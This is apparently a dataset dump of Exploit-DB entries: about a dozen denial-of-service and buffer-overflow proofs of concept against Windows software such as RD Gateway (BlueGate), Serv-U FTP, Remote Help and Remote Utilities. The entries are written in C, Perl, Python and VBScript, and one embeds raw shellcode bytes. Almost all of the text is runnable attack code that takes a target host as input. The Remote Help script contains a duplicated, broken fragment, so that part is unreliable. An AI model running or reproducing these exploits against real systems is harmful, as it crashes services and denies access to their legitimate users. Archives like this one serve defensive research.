deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47964
Description: Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-23
Author: ollypwn

Exploit:
#include "BlueGate.h"

/* 
EDB Note: 
- Download (Binary) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-1.exe
- Download (Source) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-2.zip
*/


void error(const char* msg)
{
	printf("ERROR: %s\n", msg);
	exit(EXIT_FAILURE);
}

void SOCKInit()
{
	WSADATA wsaData;
	int res;

	res = WSAStartup(MAKEWORD(2, 2), &wsaData);

	if (res != 0)
		error("WSAStartup failed");
}

void DTLSInit()
{
	SSL_library_init();
	SSL_load_error_strings();
	ERR_load_BIO_strings();
	OpenSSL_add_all_algorithms();
}

int OpenUDPConnection(const char* hostname, int port)
{
	int sockfd;
	sockaddr_in addr;

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);

	if (sockfd < 0)
		error("Failed to open socket");

	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);
	
	inet_pton(AF_INET, hostname, &(addr.sin_addr));

	if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0)
	{
		closesocket(sockfd);
		error("Failed to connect socket");
	}

	return sockfd;
}

SSL* DTLSConnection(const char* hostname)
{
	int sockfd;
	int result;
	DTLSParams client;
	
	sockfd = OpenUDPConnection(hostname, 3391);

	client.ctx = SSL_CTX_new(DTLS_client_method());
	client.bio = BIO_new_ssl_connect(client.ctx);

	BIO_set_conn_hostname(client.bio, hostname);
	BIO_get_ssl(client.bio, &(client.ssl));

	SSL_set_connect_state(client.ssl);
	SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY);

	SSL_set_fd(client.ssl, sockfd);

	if (SSL_connect(client.ssl) != 1) {
		return NULL;
	}
	
	return client.ssl;
}

int send_dos_packet(SSL* ssl, int id) {
	CONNECT_PKT_FRAGMENT packet;

	packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT;
	packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER);
	packet.usFragmentID = id;
	packet.usNoOfFragments = id;
	packet.cbFragmentLength = 1000;
	memset(packet.fragment, 0x41, 1000);

	char pkt[sizeof(packet)];
	memcpy(&pkt, &packet, sizeof(packet));

	return SSL_write(ssl, pkt, sizeof(pkt));
}

int main(int argc, char* argv[])
{
	
	SSL* ssl;
	int i = 0;
	char* hostname;

	if (argc != 2) {
		printf("Usage: %s <IP address>\n", argv[0]);
		return 0;
	}

	hostname = argv[1];

	SOCKInit();
	DTLSInit();
	
	while (i++ > -1) {
		ssl = DTLSConnection(hostname);

		if (ssl == NULL) {
			break;
		}
		
		for (int n = 0; n < 4; n++) {
			send_dos_packet(ssl, i+n);
			printf("Sending packet [%u]\n", i + n);
		}

		i++;
	}


	return 0;
}
Exploit-DB #3891
Description: Remote Display Dev kit 1.2.1.0 - 'RControl.dll' Denial of Service
Type: dos
Platform: windows
Date: 2007-05-10
Author: shinnai

Exploit:
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/10</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>RControl.dll v. 1.2.1.0 Denial of Service Exploit</b>
 url: http://www.fruit2004.com/
 price: only $20 :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 If you try less than 4000 chr you'll see a strange crash. It seems like a
 heap overflow in ntdll.dll but I'm really not sure of this thing :)
-----------------------------------------------------------------------------

<object classid='clsid:2A515FCD-C0E9-4F38-9C77[PII_REDACTED]F2' id='target' style="width: 405px; height: 50px"></object>

<select style="width: 404px" name="Pucca">
  <option value = "Connect">Connect</option>
  <option value = "InternalServer">InternalServer</option>

  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "Connect" then
     argCount = 5
     arg1=String(8001,"A")
     arg2=1
     arg3="default"
     arg4="default"
     arg5="default"
     target.connect arg1, arg2, arg3, arg4, arg5
   elseif Pucca.value = "InternalServer" then
     argCount = 1
     arg1=String(1000000, "A")
     target.InternalServer = arg1
   else
     MyMsg = MsgBox ("He turned around to face his mother" & vbCrLf & _
                     "To show her the wound in his breast" & vbCrLf &_
                     "That burned like a brand" & vbCrLf & _
                     "But the sword that cut him open" & vbCrLf & _
                     "Was the sword in his mother's hand", 64, "2007/05/10 - RControl 1.2")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-10]
Exploit-DB #1100
Description: Remote File Explorer 1.0 - Denial of Service
Type: dos
Platform: windows
Date: 2005-07-11
Author: basher13

Exploit:
#!/usr/local/bin/perl
#
#    Remote File Explorer DoS Exploit
# ----------------------------------------
#
# Resolve host... [OK]
#  [+] Connecting... [OK]
# Target locked
# Sending bad procedure... [OK]
#  [+] Server DoS'ed
#
# Tested on Windows2000 SP4
# Info: infamous.2hell.com


$ARGC=@ARGV;
if ($ARGC !=1) {
    print "Usage: $0 <host>\n";
    print "Example: $0 127.0.0.1\n";
    exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = "1001"; # default port for the server

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";

$sploit = "|REBOOT_COMPUTER|".
"\xeb\x6e\x5e\x29\xc0\x89\x46\x10".
"\x40\x89\xc3\x89\x46\x0c\x40\x89".
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd".
"\x40\x89\xc3\x89\x46\x0c\x40\x89".
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd".
"\x80\x43\xc6\x46\x10\x10\x88\x46".
"\x08\x31\xc0\x31\xd2\x89\x46\x18".
"\xb0\x90\x66\x89\x46\x16\x8d\x4e".
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0".
"\x66\xcd\x80\x89\x5e\x0c\x43\x43".
"\xb0\x66\xcd\x80\x89\x56\x0c\x89".
"\x08\x31\xc0\x31\xd2\x89\x46\x18".
"\xb0\x90\x66\x89\x46\x16\x8d\x4e".
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0".
"\x56\x10\xb0\x66\x43\xcd\x80\x86".
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0".
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0".
"\x66\xcd\x80\x89\x5e\x0c\x43\x43".
"\xb0\x66\xcd\x80\x89\x56\x0c\x89".
"\x56\x10\xb0\x66\x43\xcd\x80\x86".
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0".
"\x3f\x41\xcd\x80\xb0\x3f\x41\xcd".
"\x80\x88\x56\x07\x89\x76\x0c\x87".
"\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80".
"\xe8\x8d\xff\xff";


$msg = $sploit;
print $msg;
send(SOCK, $msg, 0) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit;

# milw0rm.com [2005-07-11]
Exploit-DB #988
Description: Remote File Manager 1.0 - Denial of Service
Type: dos
Platform: windows
Date: 2005-05-08
Author: basher13

Exploit:
/*

 Server Remote File Manager DoS Exploit
-------------------------------------------
  INFGP - Hacking&security Research

[+] Attacking  localhost..
[+] Build DOS string
[+] Buffer size = 300 byte
[+] Sending bad format..
[+] localhost  : Disconected!

Greats: Infam0us Gr0up,Zone-H,securiteam,str0ke-milw0rm,addict3d,
Thomas-secunia,Yudha,c0d3r,Kavling Community,1st Indonesian Security,
Jasakom,ECHO,etc..betst reagrds t0 whell.
Info: 98.to/infamous

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define size 300

int main (int argc, char *argv[]){

char req[] =
"M_MZ?S.Y?XPKL&>UM&<_.H;YBKL7-YSYNKG&MKL\?X.JIY.HS&"
"<GMN?X+9M_MZ?S.Y?XPKL&>UM&<_.H;YBKL7-YSYNKG&MKL\?"
"X.JIY.HS&<GMN?X+9M_MZ?S.Y?XPKL&>UM&<_.H;YBKL7-YSYN"
"KG&MKL\?X.JIY.HS&<GMN?X+9M_MZ?S.Y?XPKL&>UM&<_.H;YBKL7-"
"qv#trog.ro#mkodph>qv#trog.ro#mkodph\n";

 unsigned int rc,addr,inetsock ;
 struct sockaddr_in tcp;
 struct hostent * hp;
 WSADATA wsaData;
 char buffer[size];

  memset(buffer,'A',300);
  memcpy(buffer,req,25);

  if(argc < 2) {
 printf("\n\n    Server Remote File Manager DoS Exploit \n", argv[0]);
 printf("   -----------------------------------------\n", argv[0]);
 printf("      INFGP - Hacking&Security Research\n\n", argv[0]);
 printf("[-]Usage: %s [target]\n", argv[0]);
 printf("[?]Exam: %s localhost \n", argv[0]);
 exit(-1) ;
       }

 if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
  printf("WSAStartup failed !\n");
  exit(-1);
 }
  hp = gethostbyname(argv[1]);
 if (!hp){
  addr = inet_addr(argv[1]);
 }
 if ((!hp) && (addr == INADDR_NONE) ){
  printf("Unable to resolve %s\n",argv[1]);
  exit(-1);
 }
 inetsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 if (!inetsock){
  printf("socket() error...\n");
  exit(-1);
 }
  if (hp != NULL)
  memcpy(&(tcp.sin_addr),hp->h_addr,hp->h_length);
 else
  tcp.sin_addr.s_addr = addr;

 if (hp)
  tcp.sin_family = hp->h_addrtype;
 else
  tcp.sin_family = AF_INET;

 tcp.sin_port=htons(7080);

 printf("\n[+] Attacking  %s..\n" , argv[1]) ;
 printf("[+] Build DOS string\n");
 Sleep(1000);
 printf("[+] Buffer size = %d byte\n" , sizeof(buffer));
 rc=connect(inetsock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in));
 if(rc==0)
 {

 Sleep(1000) ;
 printf("[+] Sending bad format..\n") ;
 send(inetsock , buffer , sizeof(buffer) , 0);
 printf("[+] %s  : Disconected! \n\n" ,  argv[1]) ;
}
 else {
 printf("[-] Port :7080 is invalid.Server not connected!\n");
}
}

// milw0rm.com [2005-05-08]
Exploit-DB #33778
Description: Remote Help HTTP 0.0.7 - GET Format String Denial of Service
Type: dos
Platform: windows
Date: 2010-03-20
Author: Rick2600

Exploit:
source: https://www.securityfocus.com/bid/38875/info

Remote Help is prone to a denial-of-service vulnerability.

Remote attackers can exploit this issue to cause the application to crash, denying service to legitimate users. Due to the nature of this issue arbitrary code-execution may be possible; however this has not been confirmed.

Remote Help 0.0.7 is vulnerable; other versions may also be affected. 

# Exploit Title : Remote Help 0.0.7 Remote DoS
# Date          : 20 Mar 2010
# Author        : Rick2600 (ricks2600[at]gmail{dot}com)
# Bug found by  : Rick2600
# Software Link : http://www.softpedia.com/progDownload/Remote-Help-Download-144888.html
# Version       : 0.0.7
# OS            : Windows
# Tested on     : XP SP2 En
# Type of vuln  : DoS
# Greetz to     : Corelan Security Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
#
# Code :
print "|------------------------------------------------------------------|\n";
print "|                         __               __                       |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] DoS exploit for Remote Help 0.0.7 Http\n";

use IO::Socket;

if ($#ARGV != 0) {
    print $#ARGV;
    print "\n  usage: $0 <targetip>\n";
    exit(0);
}


print "[+] Connecting to server $ARGV[0] on port 80\n\n";

$remote = IO::Socket::INET->new( Proto => "tcp",

if ($#ARGV != 0) {
    print $#ARGV;
    print "\n  usage: $0 <targetip>\n";
    exit(0);
}


print "[+] Connecting to server $ARGV[0] on port 80\n\n";

$remote = IO::Socket::INET->new( Proto => "tcp",
                                 PeerAddr  => $ARGV[0],
                                 PeerPort  => "http(80)",
);
unless ($remote) { die "Cannot connect to Remote Help daemon on $ARGV[0]\n" }
print "[+] Connected!\n";


#CONTROL EAX
$payload = "/index.html" . "%x" x 90 . "A" x 250 . "%x" x 186  ."%.999999x" x 15 ."%.199999x"  . "%nX" . "DCBA";


print "[+] Sending Malicious Request\n";
print $remote "GET $payload HTTP/1.1\r\n";
close $remote;
Exploit-DB #40825
Description: Remote Utilities Host 6.3 - Denial of Service
Type: dos
Platform: windows
Date: 2016-11-24
Author: Peter Baris

Exploit:
# Exploit Title: Remote Utilities - Host 6.3 - Denial of Service
# Date: 2016-11-25
# Exploit Author: Peter Baris
# Vendor Homepage: www.remoteutilities.com 
# Software Link: http://saptech-erp.com.au/resources/executables/host6.3.zip
# Version: 6.3.0.6 - (other version are also affected below version 6.5 beta 3)
# Tested on: Windows 7 SP1 x64 and Windows Server 2008 R2 
# After the notification, the company released a fix in version 6.5 beta 3
# On Windows 7 - the software refuses connections after execution. 
# On Windows 2008 R2 it caused 100% CPU usage and occasional server crash when 1 core was assigned


#!/usr/bin/python
import socket
counter=0

while (counter <= 5000):	
	counter=counter+1
	print(counter)
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect=s.connect(('<host address>',5650))
	s.close()
Exploit-DB #3254
Description: Remotesoft .NET Explorer 2.0.1 - Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-02-02
Author: shinnai

Exploit:
#/usr/bin/ python
print "--------------------------------------------------------------"
print "Remotesoft .NET Explorer 2.0.1 Stack Overflow"
print "url: http://www.remotesoft.com/"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "soundtrack: Firestarter (Prodigy)"
print "--------------------------------------------------------------"

try:
   char = "\x41" * 80000

   out_file = open('DotNet.cpp','wb')
   out_file.write(char)
   out_file.close()

   print "File succesfully created!\n\n"
   print "Here is a dump:"
   print "pid=0820 tid=08C0  EXCEPTION (unhandled)"
   print "----------------------------------------------------------------"
   print "Exception C00000FD (STACK_OVERFLOW)"
   print "----------------------------------------------------------------"
   print "EAX=00003551: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EBX=0012FA78: 01 00 00 00 00 00 00 00-00 77 05 00 00 00 00 00"
   print "ECX=00E523F0: 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41"
   print "EDX=782279A8: 55 8B EC FF 75 20 FF 75-1C FF 75 18 FF 75 14 FF"
   print "ESP=00032FE8: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00"
   print "EBP=0003351C: 48 35 03 00 76 D4 E4 77-84 12 01 5A 01 00 00 00"
   print "ESI=0000028B: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EDI=0000005E: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EIP=77E4885F: 53 8B 5D 14 F6 C7 20 89-45 FC 8B 45 08 89 8D E8"
   print "           --> PUSH EBX"
   print "----------------------------------------------------------------\n"
   print "To see application crash, encrease the number of characters."
   print "I was unable to execute arbitrary code but I think someone better"
   print "than me can succesfully exploit it :P\n" except:
   print "Unable to create file!"

# milw0rm.com [2007-02-02]
Exploit-DB #47863
Description: RemShutdown 2.9.0.0 - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RemShutdown 2.9.0.0 - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/remshutdown_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install RemShutdown
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.RemShutdown Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #47865
Description: RemShutdown 2.9.0.0 - 'Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RemShutdown 2.9.0.0 - 'Name' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/remshutdown_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install RemShutdown
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Name' and click on 'Ok'
6.RemShutdown Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #24029
Description: RhinoSoft Serv-U FTP Server 3.x/4.x/5.0 - 'LIST' Buffer Overflow
Type: dos
Platform: windows
Date: 2004-04-20
Author: storm

Exploit:
source: https://www.securityfocus.com/bid/10181/info

Reportedly Serv-U is affected by a remote buffer overflow vulnerability in the list parameter. This issue is due to a failure of the application to properly validate buffer boundaries during processing of user input.

Successful exploitation would immediately produce a denial of service condition in the affected process. This issue may also be leveraged to execute code on the affected system with the privileges of the user that invoked the vulnerable application, although this has not been confirmed.

#!/usr/bin/perl

use IO::Socket;

$host = "www.example.com";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2116",
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote;
Exploit-DB #6660
Description: RhinoSoft Serv-U FTP Server 7.3 - (Authenticated) 'stou con:1' Denial of Service
Type: dos
Platform: windows
Date: 2008-10-03
Author: dmnt

Exploit:
#Serv-U <= 7.2.0.1 / 7.3 ftp server DoS
#user must have upload permissions
#
#(x) dmnt 2008-10-01
 
220 Serv-U FTP Server v7.3 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
stou con:1
quit
221 Goodbye, closing session.
# now server DoS'ed

# milw0rm.com [2008-10-03]
Exploit-DB #8212
Description: RhinoSoft Serv-U FTP Server 7.4.0.1 - 'SMNT' (Authenticated) Denial of Service
Type: dos
Platform: windows
Date: 2009-03-16
Author: Jonathan Salwan

Exploit:
#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)
# Just the server is saturated, it stops responding.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

	if (@ARGV < 3)
		{
 		print "[*] Usage: <serv-u.pl> <host> <port>\n";
 		print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toto\n";
 		exit;
		}

	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];
	$user	= $ARGV[2];
	$pass	= $ARGV[3];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";


$evil =	"SMNT\r\n" x 300000;

$after = "\x2A\x2A";

	print $socket "USER $user\r\n";
	print $socket "PASS $pass.$after\r\n";
	print $socket "$evil";
	
		sleep(1);	
		close($socket);

print "[+]Done! the server is saturated.\n";

# milw0rm.com [2009-03-16]
Exploit-DB #23760
Description: RhinoSoft Serv-U FTPd Server 3/4/5 - 'MDTM' Time Argument Buffer Overflow (1)
Type: dos
Platform: windows
Date: 2004-02-26
Author: saintjmf

Exploit:
source: https://www.securityfocus.com/bid/9751/info

Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.

The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user. 

## Coded by saintjmf
## This exploits Serv-u MDTM buffer overflow - Shutsdown server
## Discovered by bkbll - Info provided by securityfocus
## For exploit to work you need valid username and password
## I do not take responsibility for the use of this code

use IO::Socket qw(:DEFAULT :crlf);
print "Serv-u MDTM Buffer overflow - by saintjmf\n";

## Get Host port unsername and password

my $host = shift || die print "\nUsage: <program> <Host> <port> <username> <password>\n";
my $port = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";

$username = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n"; 
$password = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";

## Create Socket
my $socket = IO::Socket::INET->new("$host:$port")  or die print "\nUnable to connect -- $!\n";

print "connecting...............\n\n";

connecter($socket);


print "Server should be stopped\n";


## Sub that sends username, password and exploit

sub connecter{	
	$/ = CRLF;
	my $socket2 = shift;
	my $message2 = <$socket2>;
	chomp $message2;
	print "$message2\n";
	sleep(5);
	print $socket2 "user $username",CRLF;
	$message2 = <$socket2>;
	chomp $message2;
	print "$message2\n";
sleep (5);
	print $socket2 "pass $password", CRLF;

	$message2 = <$socket2>;
	chomp $message2;
	print "$message2\n";
sleep (4);
	print "Sending MDTM Overflow.....\n";
	print $socket2 "MDTM[PII_REDACTED]1111+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /test.txt" ,CRLF;

}